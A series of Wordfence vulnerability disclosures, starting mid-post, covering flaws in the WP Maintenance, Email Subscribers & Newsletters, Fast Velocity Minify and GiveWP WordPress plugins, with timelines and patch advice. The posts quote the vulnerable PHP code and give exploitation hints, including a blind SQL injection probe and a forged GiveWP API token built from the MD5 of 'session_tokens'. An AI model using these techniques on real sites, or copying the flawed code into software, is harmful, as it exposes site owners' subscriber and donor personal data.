Wordfence’s generic XSS firewall rules protect against the stored XSS in vulnerable versions of WP Maintenance. To exploit this XSS vulnerability the CSRF vulnerability must be exploited. As CSRF vulnerabilities cannot be protected against via firewall, we recommend updating to the latest version of WP Maintenance and following our CSRF recommendations to keep your sites safe.

Disclosure Timeline

November 15th, 2019 – Initial private contact with developer and notification of security issue.
November 15th, 2019 – Developer responds.
November 16th, 2019 – Developers acknowledged issue and released patch.

Conclusion

In today’s post, we detailed a CSRF to Stored XSS flaw present in the WP Maintenance plugin. This flaw has been patched in version 5.0.6 and we recommend users update to the latest version available. Sites running Wordfence are protected against XSS exposure by our firewall’s generic rules, however, our firewall rules can not protect against this CSRF vulnerability so it is important to take precautionary measures when clicking links in comments or sent to you via email so you are not exploited by this vulnerability.

The post High Severity Vulnerability Patched in WP Maintenance Plugin appeared first on Wordfence.

Read More

Multiple Vulnerabilities Patched in Email Subscribers & Newsletters Plugin

A few weeks ago, our Threat Intelligence team identified several vulnerabilities present in Email Subscribers & Newsletters, a WordPress plugin with approximately 100,000+ active installs. We disclosed this issue privately to the plugin’s development team who responded quickly, releasing interim patches just a few days after our initial disclosure. The plugin team also worked with us to implement additional security measures.

Plugin versions of Email Subscribers & Newsletters up to 4.2.3 are vulnerable to attacks against all of the vulnerabilities described below, and versions up to 4.3.0 are vulnerable to the SQL injection vulnerability. All Email Subscribers & Newsletters users should update to version 4.3.1 immediately. Wordfence Premium customers received new firewall rules on October 14th to protect against exploits targeting these vulnerabilities. Free Wordfence users receive these rules on November 14th.


Unauthenticated File Download w/ Information Disclosure

Description: Unauthenticated File Download w/ Information Disclosure
CVSS v3.0 Score: 5.8 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

Email Subscribers & Newsletter provides site owners with the ability to create newsletter campaigns that site users can subscribe to. One feature of this plugin is the ability to export all of the site’s subscribers into a single CSV file containing first names, last names, email addresses, mailing lists the subscriber is on, and more. Unfortunately, there was a flaw in this plugin that allowed unauthenticated users to export subscriber lists and gain all of the information provided by subscribers.

Vulnerability in Detail

In order to provide this functionality, the plugin registered the query variables status and report which were used to signal the export of the subscribers list. In vulnerable versions of this plugin, there was no access control in place to verify that the user exporting the subscriber list had the proper authorization to do so. Therefore, this flaw allowed any unauthenticated user the ability to export the list of subscribers and obtain sensitive information such as user emails by sending the correct query variables and corresponding parameters.

 	public function __construct() {

		$report = ig_es_get_request_data( 'report' );
		$status = ig_es_get_request_data( 'status' );

		if ( $report &amp;amp;&amp;amp; $status ) {

			$status = trim( $status );

			$selected_list_id = 0;

			if ( 'select_list' === $status ) {
				$selected_list_id = ig_es_get_request_data( 'list_id', 0 );

				if ( 0 === $selected_list_id ) {
					$message = __( "Please Select List", "email-subscribers" );
					ES_Common::show_message( $message, 'error' );
					exit();
				}
			}

			$csv = $this-&amp;gt;generate_csv( $status, $selected_list_id );

Blind SQL Injection in INSERT statement

Description: Blind SQL Injection in INSERT statement
CVSS v3.0 Score: 8.3 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.3.0
Patched Version: 4.3.1

Another feature of Email Subscribers & Newsletters was a functionality that tracked ‘open’ actions, amongst a few others, for emails that were sent via configured campaigns. Unfortunately, there was a flaw in this plugin that allowed SQL statements to be passed to the database in the hash parameter creating a blind SQL injection vulnerability. These actions were unauthenticated by default, meaning any user could send these requests, even if no campaigns existed, increasing the significance of this vulnerability.

Vulnerability in Detail

The vulnerable code was present within the \ES_Actions::add function. Rather than using a wpdb::prepare statement, the plugin concatenated the values of the $args parameter into the SQL query and did not escape any additional SQL characters or input. This allowed an attacker to be able to blindly inject SQL statements, like '+SLEEP+' and observe the response from the database, providing useful information to an attacker.

 private function add( $args, $explicit = true ) {

	global $wpdb;

	$args = wp_parse_args( $args, array(
		'created_at' => ig_es_get_current_gmt_timestamp(),
		'updated_at' => ig_es_get_current_gmt_timestamp(),
		'count'      => 1,
	) );

	$sql = "INSERT INTO {$wpdb->prefix}ig_actions (" . implode( ', ', array_keys( $args ) ) . ')';
	$sql .= " VALUES ('" . implode( "','", array_values( $args ) ) . "') ON DUPLICATE KEY UPDATE";

	$sql .= ( $explicit ) ? " created_at = created_at, count = count+1, updated_at = '" . ig_es_get_current_gmt_timestamp() . "'" : ' count = values(count)';

	$result = $wpdb->query( $sql );

	if ( false !== $result ) {
		return true;
	}

	return false;
}

Special thanks to our lead developer, Matt Barry, for discovering this vulnerability. 


Insecure Permissions on Dashboard and Settings

Description: Insecure Permissions on Dashboard and Settings
CVSS v3.0 Score: 6.3 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

Email Subscribers & Newsletter registers a menu full of settings, audience information, campaign information, forms, and more. This provides administrators with a central area to manage all of this plugin’s features. Unfortunately, there was a flaw in this plugin that allowed any user with the edit_post capability to view and modify settings, along with editing email campaigns and subscriber lists. Typically, only Contributor roles and above have the edit_post capability, however, a number of plugins and themes create custom roles that could allow base level users with the correct permissions to view and edit the settings and features of this plugin, introducing a security risk.

Vulnerability in Detail

This vulnerability was trivial to exploit for any attacker able to login as a user with the edit_post capability. Once the attacker was logged in as a user with the correct capability, the menu options were displayed in the toolbar and the attacker could navigate to the settings and campaigns and make any changes they wanted to. This included sending new campaigns, viewing subscriber information, adding new users, changing settings, and more.

Example of what a user with the edit_post capability can see and modify.


Cross-Site Request Forgery on Settings

Description: Cross-Site Request Forgery on Settings
CVSS v3.0 Score: 5.4 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

Email Subscribers & Newsletter provides site owners the ability to change and alter settings just like any other plugin. Unfortunately, there were no nonce checks on settings updates that verified if the request came directly from an already existing session with an authenticated administrative user, creating a CSRF vulnerability. This vulnerability allowed attackers to modify settings via CSRF. Some of the settings impacted included: messages to display after subscription, the email “from” address, what mailer to use, standard emails to send after certain actions, and more.

Vulnerability in Detail

The settings form for this plugin generated a nonce with the name es-update-settings, and submitted this nonce with the settings. The issue in this case arose because the code did not perform any verification to check whether the nonce submitted was valid or not. With this vulnerability, a settings update could have been submitted with a blank or invalid nonce, as it did not verify that the nonce submitted came from a valid session. Considering this plugin also had a lack of secure permissions, this vulnerability had a much larger target surface, considering any user with edit_post capabilities could be targeted, whereas typically only administrative level users have the ability to modify plugin settings.

	public function es_settings_callback() {

		$submitted     = ig_es_get_request_data( 'submitted' );
		$submit_action = ig_es_get_request_data( 'submit_action' );

		$nonce = ig_es_get_request_data( '_wpnonce' );

		if ( 'submitted' === $submitted && 'ig-es-save-admin-settings' === $submit_action ) {
			$options = ig_es_get_post_data('', '', false);
			$options = apply_filters( 'ig_es_before_save_settings', $options );
                <!--
                


<div class="content save">
                    <input type="hidden" name="submitted" value="submitted"/>
                    <input type="hidden" name="submit_action" value="ig-es-save-admin-settings"/>
					<?php $nonce = wp_create_nonce( 'es-update-settings' ); ?>

                    <input type="hidden" name="update-settings" id="ig-update-settings" value="<?php echo $nonce; ?>"/>
					<?php submit_button(); ?>
                </div>



                -->

Send Test Emails from the Administrative Dashboard as an Authenticated User [Subscriber+]

Description: Send Test Emails as Subscriber+
CVSS v3.0 Score: 4.3 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

As previously mentioned, Email Subscribers & Newsletter provides site owners the ability to create “campaigns” that will be sent out via email. Part of the plugin functionality includes an option in the settings dashboard to send test emails in order to verify that a site’s mail function and email integration is working properly. Unfortunately, there was a flaw in this plugin that allowed authenticated users with subscriber and above access the ability to send test emails on behalf of the site owner. Although this is a less severe vulnerability, it still has the potential to be used for harm, as an attacker could send out unwanted emails from a site owner’s email server.

Vulnerability in Detail

In order to send test emails, this plugin registers a wp_ajax function to send_test_email. By default, AJAX actions can be triggered by any authenticated WordPress user sending a request from the wp-admin dashboard. For more sensitive functions, plugin developers should include a permissions or capability check to verify that the AJAX request is coming from a user with the appropriate capabilities to perform that action. With this plugin, we saw that there were no access control checks to verify that the request was coming from an authenticated administrative user, allowing lower level authenticated users to send test emails on behalf of the site owner.

 		add_action( 'wp_ajax_send_test_email', array( $this, 'send_test_email' ) );
 	function send_test_email() {
		$message = array();
		$message = array(
			'status'  => 'ERROR',
			'message' => __( 'Something went wrong', 'email-subscribers' )
		);

Unauthenticated Option Creation

Description: Unauthenticated Option Creation
CVSS v3.0 Score: 6.4 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Affected Plugin: Email Subscribers & Newsletters
Plugin Slug: email-subscribers
Affected Versions: <= 4.2.2
Patched Version: 4.2.3

Email Subscribers & Newsletters has an on-boarding process that can be skipped after the plugin is activated. When the on-boarding process is skipped, it creates a new option in the database and saves the value as “yes.” Unfortunately, there was no access control for this feature so any unauthenticated user had the capability to create this option in the database, which could be appended with any value. This option value could later be modified with malicious code in conjunction with the CSRF vulnerability, though we were unable to exploit this by executing any code in this value, making this a much less severe issue.

Vulnerability in Detail

This function used an admin_init action to create the new option. This type of action typically runs when a user accesses the admin area of a site, however, it can also run on admin-ajax.php and admin-post.php. Therefore, if no access controls are in place, unauthenticated users have the ability to initiate the function by sending a request to admin-post.php or admin-ajax.php. This plugin used admin_init with no access controls, therefore, any user had the ability to create a new option with the name ig_es_ob_skip_[option_name], with [option_name] being any value input in the option_name parameter when sending the request. This option would be created with the default value of yes, which could later be changed using the CSRF vulnerability. All an attacker needed to do to exploit this vulnerability was to send a request to admin-ajax.php or admin-post.php with the es_skip parameter set to 1 and the option_name parameter set to the desired value.

 		add_action( 'admin_init', array( $this, 'es_save_onboarding_skip' ) );
	//save skip signup option
	function es_save_onboarding_skip() {

		$es_skip     = ig_es_get_request_data( 'es_skip' );
		$option_name = ig_es_get_request_data( 'option_name' );

		if ( $es_skip == '1' ! empty( $option_name ) ) {
			update_option( 'ig_es_ob_skip_' . $option_name, 'yes' );
			$referer = wp_get_referer();
			wp_safe_redirect( $referer );
			exit();
		}
	}

Disclosure Timeline

October 14th, 2019 – Developers notified privately of security issues.
October 14th, 2019 – Firewall rules released to Wordfence Premium users.
October 17th, 2019 – Developers acknowledged issues and released patches.
October 17th, 2019 – Developers notified that one of the patches was insufficient.
October 23rd, 2019 – Developers released another patch, which was sufficient but needed further security controls. Developers were notified.
November 13th, 2019 – Final Patch is released.
November 14th, 2019 – Free users receive firewall rule to protect against this vulnerability.

Conclusion

In today’s post, we detailed several security flaws present in the Email Subscribers & Newsletter plugin. These flaws have been patched in version 4.3.1 and we recommend that users update to the latest version available immediately. Sites running Wordfence Premium have been protected from attacks against most of these vulnerabilities since October 14th, 2019. Sites running the free version of Wordfence will receive the firewall rule update on November 14th, 2019.

The post Multiple Vulnerabilities Patched in Email Subscribers & Newsletters Plugin appeared first on Wordfence.

Read More

Medium Severity Vulnerability Patched in Fast Velocity Minify Plugin

Description: Full Path Disclosure
CVSS v3.0 Score: 4.3 (Medium)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Affected Plugin: Fast Velocity Minify
Plugin Slug: fast-velocity-minify
Affected Versions: <= 2.7.6
Patched Version: 2.7.7

A few days ago, our Threat Intelligence team identified a vulnerability present in Fast Velocity Minify, a WordPress plugin with approximately  80,000+ active installs. This flaw allowed authenticated attackers to discover the full web root path to the running WordPress application. We disclosed this issue privately to the plugin’s development team who released a patch just a few hours after our initial disclosure.

Fast Velocity Minify versions up to 2.7.6 are vulnerable to attacks against this flaw. All Fast Velocity Minify users should update to version 2.7.7 immediately. Wordfence Premium customers received a new firewall rule on October 14th to protect against exploits targeting this vulnerability. Free Wordfence users will receive the rule after thirty days.

Vulnerability In Detail

Fast Velocity Minify is a plugin that provides a functionality to help improve the speed of WordPress sites it is installed on by using a caching method that merges Javascript & CSS files into a limited number of grouped files. One feature of this plugin is meant to allow administrators to review cached files in the plugin settings dashboard. In order to display the status of the cached files, the plugin uses a wp_ajax callback to the $cachedir  where it retrieves the information about the files. While this feature did use the is_admin() function to verify that the request was coming from an administrative screen, it did not do a capability check to verify if the call was coming from an authenticated administrative user viewing the status page.

 if(is_admin()) {
    add_action('admin_menu', 'fastvelocity_min_admin_menu');
    add_action('admin_enqueue_scripts', 'fastvelocity_min_load_admin_jscss');
    add_action('wp_ajax_fastvelocity_min_files', 'fastvelocity_min_files_callback');
    add_action('admin_init', 'fastvelocity_min_register_settings');
 # function to list all cache files
function fastvelocity_min_files_callback() {
	global $cachedir;
	
	# default
	$size = fastvelocity_get_cachestats();
	$return = array('js' => array(), 'css' => array(), 'cachesize'=> $size); 

This functionality is intended to provide site owners with status updates on already available files that can be seen in the source code of WordPress sites. The real issue appeared when the option ‘Enable FVM Debug Mode’ was enabled. Once that option was enabled, the full file path including the web root was logged in the $cachedir with a status update that could later be viewed on the ‘status’ page. Since this plugin was using the is_admin() function for authorization, it meant the AJAX request only needed to come from an administrative page so authentication could be bypassed and the information could be accessed. 

Any user with subscriber and above capabilities could send an AJAX request from an administrative page and see the information found on the ‘Status’ page which included the full path to the WordPress instance when ‘Enable FVM Debug Mode’ was enabled.

Fast Velocity Minify Full Path Disclosure Exploit.

Zoomed in on Fast Velocity Minify Full Path Disclosure.

Although there was no direct harm with this vulnerability, it could have been used to further escalate a more sophisticated attack. Therefore, we created a firewall rule to protect Wordfence users against its exploitation.

Vulnerability Importance and Impact

Discovered vulnerabilities should always be corrected and protected from when discovered, regardless of the vulnerability’s severity. Although a full path disclosure vulnerability is not the most severe vulnerability, it still poses a security risk to anyone running the vulnerable software on their systems.

A full path disclosure can be used as part of a larger chain of attacks. An attacker gaining the path of your site’s web root structure could allow them to map out your file structure for exploitation such as a directory traversal attack where malicious actors could access restricted directories and can potentially execute commands outside of the web root directory where WordPress is installed. Attackers can also use a full path disclosure to help aid in a local file inclusion attack, where they may need the full web root directory structure in order to include the file they would like to execute as a result of the vulnerability. A full path disclosure provides attackers with useful information needed to exploit other more severe vulnerabilities, which is what makes them dangerous.

Out of precaution, we immediately released a firewall rule to our Wordfence Premium users so that they would be protected against this vulnerability. The chances of this vulnerability being exploited are quite low for most WordPress users, and the requirements make it quite difficult to exploit. Wordfence takes all security vulnerabilities seriously, and our threat intelligence team proactively researches, discloses and protects against known vulnerabilities to keep our users safe. 

Disclosure Timeline

October 14th, 2019 – Developers notified privately of security issue. 
October 14th, 2019 – Firewall rule released to Wordfence Premium users.
October 14th, 2019 – Developers acknowledged issue and released patch. 
November 14th, 2019 – Free users receive firewall rule to protect against this vulnerability.

Conclusion

In today’s post, we detailed a full path disclosure flaw present in the Fast Velocity Minify plugin. This flaw has been patched in version 2.7.7 and we recommend users update to the latest version available. Sites running Wordfence Premium have been protected from attacks against this vulnerability since October 14th, 2019. Sites running the free version of Wordfence will receive the firewall rule update on November 14th, 2019.

Thank you to the plugin’s developer Raul Peixoto, for their extremely prompt response and cooperation in quickly patching this vulnerability.

The post Medium Severity Vulnerability Patched in Fast Velocity Minify Plugin appeared first on Wordfence.

Read More

Authentication Bypass Vulnerability in GiveWP Plugin

Description: Authentication Bypass with Information Disclosure
CVSS v3.0 Score: 7.5 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected Plugin: GiveWP
Plugin Slug: give
Affected Versions: <= 2.5.4
Patched Version: 2.5.5

A few weeks ago, our Threat Intelligence team discovered a vulnerability present in GiveWP, a WordPress plugin installed on over 70,000 websites. The weakness allowed unauthenticated users to bypass API authentication methods and potentially access personally identifiable user information (PII) like names, addresses, IP addresses, and email addresses which should not be publicly accessible. 

We privately disclosed the issue to the plugin’s developer on September 3rd, who were quick to respond and released a patch shortly after. Wordfence Premium customers received a new firewall rule on September 4th to protect against exploits targeting this vulnerability. Free Wordfence users will receive the rule after thirty days.

This is considered a high security issue, and websites running Give 2.5.4 or below should be updated to version 2.5.5 or later right away.

Vulnerability In Detail

GiveWP provides users with an API functionality in order to integrate donation data into webpages and applications like Zapier. Site owners are able to generate a unique API key along with a token and private key that can be used to access restricted endpoints and gain access to donation data. However, it turned out that if no API key was generated, any user was able to access restricted endpoints by simply selecting any meta key from the wp_usermeta table and setting that as the authentication key. For instance, the nickname or session_tokens meta key (which are defined for all users) could have been supplied instead of a valid API key. There is also an authentication token that is used to validate this API request, however, for users that have not generated an API key, the authentication token is simply just the MD5 hash of the meta key that is used in place of a valid API key.

The API key validation method can be found in the validate_request() method seen below.

private function validate_request() {
		global $wp_query;

		$this->override = false;

		// Make sure we have both user and api key
		if ( ! empty( $wp_query->query_vars['give-api'] ) && ( $wp_query->query_vars['give-api'] !== 'forms' || ! empty( $wp_query->query_vars['token'] ) ) ) {

			if ( empty( $wp_query->query_vars['token'] ) || empty( $wp_query->query_vars['key'] ) ) {
				$this->missing_auth();

				return false;
			}

			// Retrieve the user by public API key and ensure they exist
			if ( ! ( $user = $this->get_user( $wp_query->query_vars['key'] ) ) ) {

				$this->invalid_key();

				return false;

			} else {

				$token  = urldecode( $wp_query->query_vars['token'] );
				$secret = $this->get_user_secret_key( $user );
				$public = urldecode( $wp_query->query_vars['key'] );

				if ( hash_equals( md5( $secret . $public ), $token ) ) {
					$this->is_valid_request = true;
				} else {
					$this->invalid_auth();

					return false;
				}

			}
		} elseif ( ! empty( $wp_query->query_vars['give-api'] ) && $wp_query->query_vars['give-api'] === 'forms' ) {
			$this->is_valid_request = true;
			$wp_query->set( 'key', 'public' );
		}
	}

The first check verifies if there is a valid user and API key, if there is no token or API key set then the request is automatically denied from moving further. If we have both the token and key set, we can then move on to retrieving the user by the public API key that was set and this is where we find our first major problem.

We then get to the get_user() method that does a check based on the API key that was provided. Unfortunately, in this check it doesn’t verify if the key was one generated by the Give API, but rather just fetches the user_id for any meta key in the wp_usermeta table, so if we pass in nickname or session_tokens as our meta key we’ll get back a valid user.

	public function get_user( $key = '' ) {
		global $wpdb, $wp_query;

		if ( empty( $key ) ) {
			$key = urldecode( $wp_query->query_vars['key'] );
		}

		if ( empty( $key ) ) {
			return false;
		}

		$user = Give_Cache::get( md5( 'give_api_user_' . $key ), true );

		if ( false === $user ) {
			$user = $wpdb->get_var( $wpdb->prepare( "SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s LIMIT 1", $key ) );
			Give_Cache::set( md5( 'give_api_user_' . $key ), $user, DAY_IN_SECONDS, true );
		}

		if ( $user != null ) {
			$this->user_id = $user;

			return $user;
		}

		return false;
	}

The next check is to verify a “signature” of the user’s API key which is the MD5 hash of a secret key concatenated with the supplied API key. The secret key is normally defined when an API key is created for a given user. For user’s that have not generated an API key, the secret is an empty value, so a valid signature can be forged using just the MD5 value of the meta key that we’ve passed in instead of a valid API key.

	$token  = urldecode( $wp_query->query_vars['token'] );
				$secret = $this->get_user_secret_key( $user );
				$public = urldecode( $wp_query->query_vars['key'] );

				if ( hash_equals( md5( $secret . $public ), $token ) ) {
					$this->is_valid_request = true;

Taking a Look at the Exploit

Once the key has been set to any meta key value from the wp_usermeta table, and the token is set to the corresponding MD5 hash of the meta key selected, you can make a request to the restricted endpoints accessing sensitive donor data. In this example, we used the meta_key session_tokens and the MD5 hash of the string session_tokens which is ea78b7d35ff75719b36056cfa14ddcc8.

Personally Identifiable Information displayed when accessing vulnerable “donations” endpoint from GiveWP plugin.

As you can see, information in these endpoints can contain PII like names, addresses, IP addresses, and email addresses which should not be publicly accessible.

Disclosure Timeline

September 3rd – Plugin developer notified of the security issue
September 4th – Firewall rule released to Wordfence Premium users
September 20th – Patch released
October 4th – Firewall rule becomes available to free users

Conclusion

In today’s post, we detailed an authentication bypass flaw present in the GiveWP plugin. This flaw has been patched in version 2.5.5 and we recommend users update to the latest version available. Sites running Wordfence Premium have been protected from attacks against this vulnerability since September 4th, 2019. Sites running the free version of Wordfence will receive the firewall rule update on October 4th, 2019.

Thank you to the plugin’s team at GiveWP, for their extremely prompt response and cooperation to get a fix out quickly, and to Matt Barry, Wordfence’s Lead Developer, for his assistance in researching this vulnerability.

The post Authentication Bypass Vulnerability in GiveWP Plugin appeared first on Wordfence.

Read More